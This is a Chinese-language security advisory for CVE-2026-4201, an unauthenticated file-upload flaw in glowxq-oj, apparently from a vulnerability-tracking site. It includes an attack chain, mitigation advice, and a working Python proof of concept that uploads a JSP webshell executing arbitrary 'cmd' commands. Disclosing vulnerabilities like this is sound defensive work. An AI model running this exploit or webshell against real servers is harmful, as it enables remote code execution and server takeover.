IPBUF安全漏洞报告
English
CVE-2026-4201 CVSS 7.3 高危

CVE-2026-4201 glowxq-oj SysFileController文件上传漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4201
漏洞类型
无限制文件上传
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
glowxq glowxq-oj

相关标签

CVE-2026-4201无限制文件上传glowxq-oj远程代码执行WebShell上传Java漏洞高危漏洞无需认证SysFileController

漏洞概述

CVE-2026-4201是glowxq glowxq-oj系统中的一个高危安全漏洞,CVSS评分7.3。该漏洞存在于文件上传功能中,攻击者可以通过SysFileController.java中的Upload函数上传任意文件到服务器,导致远程代码执行风险。由于该漏洞无需认证即可利用,且影响产品的所有版本,攻击者可利用公开的漏洞利用代码发起攻击。攻击者可以上传恶意WebShell文件(如JSP、ASP、PHP脚本)到服务器,从而获得服务器控制权。该漏洞已被标记为已公开利用,厂商在收到通知后未做出回应,属于典型的零日漏洞场景。

技术细节

该漏洞位于glowxq-oj项目的文件上传功能模块,具体路径为business/business-system/src/main/java/com/glowxq/system/admin/controller/SysFileController.java。问题出在Upload函数的文件上传处理逻辑中,缺少对上传文件类型的有效验证和过滤。攻击者可以构造恶意请求,上传包含恶意代码的文件(如JSP WebShell),绕过前端文件类型检查。由于服务器端未对上传文件进行严格的MIME类型检查和文件内容验证,恶意文件会被直接存储到可访问的Web目录中。攻击者随后可以通过HTTP请求访问上传的恶意文件,在服务器上执行任意系统命令,实现远程代码执行。漏洞影响版本至commit 6f7c723090472057252040fd2bbbdaa1b5ed2393,该产品未使用版本控制机制,无法确认具体受影响版本范围。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标站点使用glowxq-oj系统,确认SysFileController文件上传接口存在
STEP 2
步骤2
构造恶意请求:攻击者准备包含恶意代码的JSP WebShell文件,绕过客户端文件类型检查
STEP 3
步骤3
上传文件:向/system/file/upload端点发送POST请求,上传恶意文件(绕过服务器端验证)
STEP 4
步骤4
获取文件路径:解析服务器响应,获取上传文件的可访问URL路径
STEP 5
步骤5
执行命令:通过HTTP请求访问上传的WebShell,传递cmd参数执行任意系统命令
STEP 6
步骤6
持久化控制:上传更多后门程序,建立持久化访问通道,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-4201 PoC - Unrestricted File Upload in glowxq-oj # Target: glowxq-oj SysFileController Upload Function def exploit(target_url, file_path): """ Exploit for CVE-2026-4201: Unrestricted File Upload This PoC demonstrates uploading a JSP webshell to the target server. """ # JSP Webshell payload webshell = '''<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>''' # Prepare multipart form data files = { 'file': ('shell.jsp', webshell.encode(), 'application/octet-stream') } # Upload endpoint (typically /system/file/upload or similar) upload_url = f"{target_url.rstrip('/')}/system/file/upload" try: print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious JSP file...") # Send malicious upload request response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If successful, try to access the uploaded shell if response.status_code == 200 and 'path' in response.text.lower(): # Extract uploaded file path from response import json try: resp_json = response.json() if 'data' in resp_json and 'url' in resp_json['data']: shell_url = resp_json['data']['url'] print(f"[+] Shell uploaded successfully!") print(f"[+] Access shell at: {shell_url}") print(f"[+] Execute command: {shell_url}?cmd=whoami") except: print("[+] File uploaded - check response for file path") else: print("[-] Upload failed or endpoint not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit(target, "shell.jsp")

影响范围

glowxq-oj <= 6f7c723090472057252040fd2bbbdaa1b5ed2393(所有版本均受影响)

防御指南

临时缓解措施
由于该漏洞厂商未响应且无官方补丁,建议立即采取以下临时措施:1)限制文件上传接口的访问权限,仅允许授权用户访问;2)配置Web服务器禁止上传目录的脚本执行权限;3)使用WAF对上传功能进行实时监控和拦截;4)考虑暂时禁用文件上传功能,待官方修复后再启用;5)加强服务器监控,及时发现异常文件上传和命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表